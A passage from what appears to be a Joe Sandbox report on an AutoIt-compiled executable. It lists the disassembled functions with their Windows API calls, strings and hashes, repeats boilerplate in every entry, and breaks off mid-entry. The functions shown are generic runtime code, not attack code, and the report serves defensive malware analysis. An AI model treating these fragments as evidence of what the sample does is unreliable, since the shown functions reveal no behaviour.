                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452800
                                • Part of subcall function 00452719: _wcscpy.LIBCMT ref: 00452831
                              • __fread_nolock.LIBCMT ref: 00452D78
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                              • String ID:
                              • API String ID: 2054058615-0
                              • Opcode ID: 0fea368d492e8b0ff51cb8fd7897a71ebf5dc00d39f6f8cf48bc83bd06102a16
                              • Instruction ID: 04d0e47ed4a2b248740d2851a73093f1b496c65d3ae4d984919b8c0089c9d159
                              • Opcode Fuzzy Hash: 0fea368d492e8b0ff51cb8fd7897a71ebf5dc00d39f6f8cf48bc83bd06102a16
                              • Instruction Fuzzy Hash: 6FC14EB2508340ABD720DF65D881EEFB7E8EFC9704F40492FF68987241E6759548CB66
                              Function 0044870C Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 311COMMON
                              Download Yara Rule
                              APIs
                              • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004487BD
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window
                              • String ID: 0
                              • API String ID: 2353593579-4108050209
                              • Opcode ID: b0df0e29545e706fc7615ccb9c436c62dbee4145767baabea16aca18bd76baa2
                              • Instruction ID: 06508bea8339de1511a48146ac1d08a96458f0089f80555ee302a354f7131a6f
                              • Opcode Fuzzy Hash: b0df0e29545e706fc7615ccb9c436c62dbee4145767baabea16aca18bd76baa2
                              • Instruction Fuzzy Hash: 35B18BB0204341ABF324CF24CC89BABBBE4FB89744F14491EF591962D1DBB8A845CB59
                              Function 0044A032 Relevance: 31.7, APIs: 21, Instructions: 198windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetSysColor.USER32(0000000F), ref: 0044A05E
                              • GetClientRect.USER32(?,?), ref: 0044A0D1
                              • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A0E9
                              • 74286110.USER32(?), ref: 0044A0F6
                              • GetPixel.GDI32(00000000,?,?), ref: 0044A108
                              • 7427A480.USER32(?,?), ref: 0044A11B
                              • GetSysColor.USER32(0000000F), ref: 0044A131
                              • 742845F0.USER32(?,000000F0), ref: 0044A140
                              • GetSysColor.USER32(0000000F), ref: 0044A14F
                              • GetSysColor.USER32(00000005), ref: 0044A15B
                              • 74286110.USER32(?), ref: 0044A1BE
                              • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A1CB
                              • GetPixel.GDI32(00000000,?,00000000), ref: 0044A1E4
                              • GetPixel.GDI32(00000000,00000000,?), ref: 0044A1FD
                              • GetPixel.GDI32(00000000,?,?), ref: 0044A21D
                              • 7427A480.USER32(?,00000000), ref: 0044A229
                              • SetBkColor.GDI32(?,00000000), ref: 0044A24C
                              • GetSysColor.USER32(00000008), ref: 0044A265
                              • SetTextColor.GDI32(?,00000000), ref: 0044A270
                              • SetBkMode.GDI32(?,00000001), ref: 0044A282
                              • GetStockObject.GDI32(00000005), ref: 0044A28A
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Color$Pixel$742774286110A480$742845ClientMessageModeObjectRectSendStockText
                              • String ID:
                              • API String ID: 1532117962-0
                              • Opcode ID: e73dd003506282a75ec33c48a00615cd632731ac0e25c139f5641f86d6275693
                              • Instruction ID: 0380b5c53d8a23173c1b90063483f03488caaf4f58ae5d2001aea5c06c56dff4
                              • Opcode Fuzzy Hash: e73dd003506282a75ec33c48a00615cd632731ac0e25c139f5641f86d6275693
                              • Instruction Fuzzy Hash: E6612531140101ABE7109F78CC88BAB7764FB46320F14876AFD659B3D0DBB49C529BAA
                              Function 00417C20 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109libraryloadermemoryCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004164DE), ref: 00417C28
                              • __mtterm.LIBCMT ref: 00417C34
                                • Part of subcall function 004178FF: TlsFree.KERNEL32(00000017,00417D96,?,004164DE), ref: 0041792A
                                • Part of subcall function 004178FF: RtlDeleteCriticalSection.KERNEL32(00000000,00000000,00410E44,?,00417D96,?,004164DE), ref: 004181B8
                                • Part of subcall function 004178FF: _free.LIBCMT ref: 004181BB
                                • Part of subcall function 004178FF: RtlDeleteCriticalSection.KERNEL32(00000017,00410E44,?,00417D96,?,004164DE), ref: 004181E2
                              • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00417C4A
                              • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00417C57
                              • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00417C64
                              • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00417C71
                              • TlsAlloc.KERNEL32(?,004164DE), ref: 00417CC1
                              • TlsSetValue.KERNEL32(00000000,?,004164DE), ref: 00417CDC
                              • __init_pointers.LIBCMT ref: 00417CE6
                              • __calloc_crt.LIBCMT ref: 00417D54
                              • GetCurrentThreadId.KERNEL32 ref: 00417D80
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
                              • String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
                              • API String ID: 4163708885-3819984048
                              • Opcode ID: b664ad2f65df639e4a6a12b7ff6e2ff430dd15d20f416fce335d42a987fa1153
                              • Instruction ID: ca22d9d2e1075830452d52834408fe47c465c3b6ac2468b12672dd77d4d5938c
                              • Opcode Fuzzy Hash: b664ad2f65df639e4a6a12b7ff6e2ff430dd15d20f416fce335d42a987fa1153
                              • Instruction Fuzzy Hash: D5315A75808710DECB10AF75BD0865A3EB8BB60764B12093FE914932B0DB7D8881CF9C
                              Function 0046E1A6 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 231COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID: >>>AUTOIT SCRIPT<<<$\
                              • API String ID: 0-1896584978
                              • Opcode ID: 0f644335f765ba1f090fa429f6a047d8548bdb555fde32e118ce45ae114b4fa6
                              • Instruction ID: daa296ce3da71eb1ea4b2d74bac6de3536c6b190185545f0361092b1072d42a3
                              • Opcode Fuzzy Hash: 0f644335f765ba1f090fa429f6a047d8548bdb555fde32e118ce45ae114b4fa6
                              • Instruction Fuzzy Hash: 4081B9B1900204ABCB20EB61CD85FDB73ED9F54304F40859EF505AB142EA39EA85CB99
                              Function 004341E6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 91windowCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wcsicoll$IconLoad
                              • String ID: blank$info$question$stop$warning
                              • API String ID: 2485277191-404129466
                              • Opcode ID: 90066845996854fde84de619c40f1fe09919dc61d56db525c82daa747bae1459
                              • Instruction ID: a4c8356a5cb7371e963c7ba7671977edd7eb5cf64b0a9c0e84f2fcb3e6131cad
                              • Opcode Fuzzy Hash: 90066845996854fde84de619c40f1fe09919dc61d56db525c82daa747bae1459
                              • Instruction Fuzzy Hash: 9121A732B4021566DB00AB65BC05FEF3358DB98762F040837FA05E2282E3A9A52093BD
                              Function 00454639 Relevance: 25.7, APIs: 17, Instructions: 199windowtimeCOMMON
                              Download Yara Rule
                              APIs
                              • LoadIconW.USER32(?,00000063), ref: 0045464C
                              • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0045465E
                              • SetWindowTextW.USER32(?,?), ref: 00454678
                              • GetDlgItem.USER32(?,000003EA), ref: 00454690
                              • SetWindowTextW.USER32(00000000,?), ref: 00454697
                              • GetDlgItem.USER32(?,000003E9), ref: 004546A8
                              • SetWindowTextW.USER32(00000000,?), ref: 004546AF
                              • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 004546D1
                              • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 004546EB
                              • GetWindowRect.USER32(?,?), ref: 004546F5
                              • SetWindowTextW.USER32(?,?), ref: 00454765
                              • GetDesktopWindow.USER32 ref: 0045476F
                              • GetWindowRect.USER32(00000000), ref: 00454776
                              • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004547C4
                              • GetClientRect.USER32(?,?), ref: 004547D2
                              • PostMessageW.USER32(?,00000005,00000000,00000080), ref: 004547FC
                              • SetTimer.USER32(?,0000040A,?,00000000), ref: 0045483F
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                              • String ID:
                              • API String ID: 3869813825-0
                              • Opcode ID: 7299b5a8a54a0497ad48b5c2470d2d1877852c465202323cb5b3bdfcc53dc08d
                              • Instruction ID: 23cbb84c7db07f79204f7fb68ef1a354279dd66d41dce19f663d7a5246859b32
                              • Opcode Fuzzy Hash: 7299b5a8a54a0497ad48b5c2470d2d1877852c465202323cb5b3bdfcc53dc08d
                              • Instruction Fuzzy Hash: 06619D75A00705ABD720DFA8CE89F6FB7F8AB48705F00491DEA46A7290D778E944CB54
                              Function 004649A3 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 395COMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 00464B28
                              • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00464B38
                              • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00464B60
                              • _wcslen.LIBCMT ref: 00464C28
                              • GetCurrentDirectoryW.KERNEL32(00000000,00000000,?), ref: 00464C3C
                              • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00464C64
                              • _wcslen.LIBCMT ref: 00464CBA
                              • _wcslen.LIBCMT ref: 00464CD0
                              • _wcslen.LIBCMT ref: 00464CEF
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcslen$Directory$CurrentSystem
                              • String ID: D
                              • API String ID: 1914653954-2746444292
                              • Opcode ID: 44be7054643fd4ba856d6b2e359bfbfbb3de9f7e14d5395c76b411fe07bee919
                              • Instruction ID: cb0983c86ca1fa87ccea60adda1cf5635047c5df12380c224dcb23d097980814
                              • Opcode Fuzzy Hash: 44be7054643fd4ba856d6b2e359bfbfbb3de9f7e14d5395c76b411fe07bee919
                              • Instruction Fuzzy Hash: 98E101716043409BD710EF65C845B6BB7E4AFC4308F148D2EF98987392EB39E945CB9A
                              Function 0044B98C Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 80COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wcsicoll
                              • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                              • API String ID: 3832890014-4202584635
                              • Opcode ID: 95885f1eddacfd63033607ac838e89683eff4e7941016429c0898dbf95f86d61
                              • Instruction ID: 3b59ed03df0c76d23b576b9f0bbd6b5c96606bf3e4c0b80e5c93e428ec3f30be
                              • Opcode Fuzzy Hash: 95885f1eddacfd63033607ac838e89683eff4e7941016429c0898dbf95f86d61
                              • Instruction Fuzzy Hash: AB117772A4422512E91072657C03BFF219CCF1177AF14487BF90DE5A82FB4EDA9541ED
                              Function 004557E0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 220COMMON
                              Download Yara Rule
                              APIs
                              • 74285CF0.USER32(?), ref: 004558E3
                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 0045592C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74285CreateWindow
                              • String ID: ,$tooltips_class32
                              • API String ID: 1109741162-3856767331
                              • Opcode ID: ae2d9903759a545ce0c494cdefa096f9672d9422e9f4a365a31b4f6ccc33a5ca
                              • Instruction ID: 3e2a402d8ef05c983ab6a33f0f0d51d253aadf8c8a2d9d50fdabec1795fb524a
                              • Opcode Fuzzy Hash: ae2d9903759a545ce0c494cdefa096f9672d9422e9f4a365a31b4f6ccc33a5ca
                              • Instruction Fuzzy Hash: AE71AD71650208AFE720CF58DC84FBA77B8FB59310F20851AFD45AB391DA74AD46CB98
                              Function 00468B0E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 207windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetMenuItemInfoW.USER32(?,00000007,00000000,00000030), ref: 00468BB1
                              • GetMenuItemCount.USER32(?), ref: 00468C45
                              • DeleteMenu.USER32(?,00000005,00000000,?,?,?), ref: 00468CD9
                              • DeleteMenu.USER32(?,00000004,00000000,?,?), ref: 00468CE2
                              • DeleteMenu.USER32(00000000,00000006,00000000,?,00000004,00000000,?,?), ref: 00468CEB
                              • DeleteMenu.USER32(?,00000003,00000000,?,00000004,00000000,?,?), ref: 00468CF4
                              • GetMenuItemCount.USER32 ref: 00468CFD
                              • SetMenuItemInfoW.USER32(?,00000004,00000000,00000030), ref: 00468D35
                              • GetCursorPos.USER32(?), ref: 00468D3F
                              • SetForegroundWindow.USER32(?), ref: 00468D49
                              • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,?,00000003,00000000,?,00000004,00000000,?,?), ref: 00468D5F
                              • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468D6C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow
                              • String ID: 0
                              • API String ID: 1441871840-4108050209
                              • Opcode ID: 12c28d3332ad221b92e3a636ba418a85e822d4b5186b1920d2f56c44304fb3db
                              • Instruction ID: 6d2915cdebcc0779354c8c01805c07fba6dcd836026253be2713676dcba25ca6
                              • Opcode Fuzzy Hash: 12c28d3332ad221b92e3a636ba418a85e822d4b5186b1920d2f56c44304fb3db
                              • Instruction Fuzzy Hash: F571A0B0644300BBE720DB58CC45F5AB7A4AF85724F20470EF5656B3D1DBB8B8448B2A
                              Function 00460879 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 136windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleW.KERNEL32(00000000,00000066,?,00000FFF,00000010,00000001,?,?,00427F75,?,0000138C,?,00000001,?,?,?), ref: 004608A9
                              • LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608B0
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,00427F75,?,0000138C,?,00000001,?,?,?,?,?,00000000), ref: 004608D0
                              • LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608D7
                              • __swprintf.LIBCMT ref: 00460915
                              • __swprintf.LIBCMT ref: 0046092D
                              • _wprintf.LIBCMT ref: 004609E1
                              • MessageBoxW.USER32(00000000,?,?,00011010), ref: 004609FA
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: HandleLoadModuleString__swprintf$Message_memmove_wcslen_wprintf
                              • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                              • API String ID: 3631882475-2268648507
                              • Opcode ID: 34748020dcaf007b6c88f6c4c4dd7bf7ecfb2d58ebabdf7d9dae9be74c8fa7b1
                              • Instruction ID: 03c51728676f919c2e33c8c13cfd5c1cee97c3d48cab2dbcdd3400b30208eb52
                              • Opcode Fuzzy Hash: 34748020dcaf007b6c88f6c4c4dd7bf7ecfb2d58ebabdf7d9dae9be74c8fa7b1
                              • Instruction Fuzzy Hash: F5416071900209ABDB00FB91CD46AEF7778AF44314F44447AF50577192EA786E45CBA9
                              Function 004716B8 Relevance: 22.7, APIs: 15, Instructions: 179windowCOMMON
                              Download Yara Rule
                              APIs
                              • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 004716C7
                              • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 004716E1
                              • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00471711
                              • SendMessageW.USER32 ref: 00471740
                              • 6FD82980.COMCTL32(00000010,00000010,00000021,?,00000001,?,?,?,?,?,?,?,?,?,?,00001053), ref: 00471779
                              • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0047179A
                              • 6FD82980.COMCTL32(00000020,00000020,00000021,00000000,00000001,?,?,?,?,?,?,?,?,?,?,00001053), ref: 004717B0
                              • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 004717D3
                              • 6FD7C400.COMCTL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 004717F8
                              • 6FD7C400.COMCTL32(00000000,000000FF,?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 00471807
                              • SendMessageW.USER32 ref: 0047184F
                              • SendMessageW.USER32(?,0000104C,00000000,00000002), ref: 00471872
                              • SendMessageW.USER32(?,00001015,00000000,00000000), ref: 00471890
                              • DestroyCursor.USER32(?), ref: 0047189C
                              • DestroyCursor.USER32(?), ref: 004718A2
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
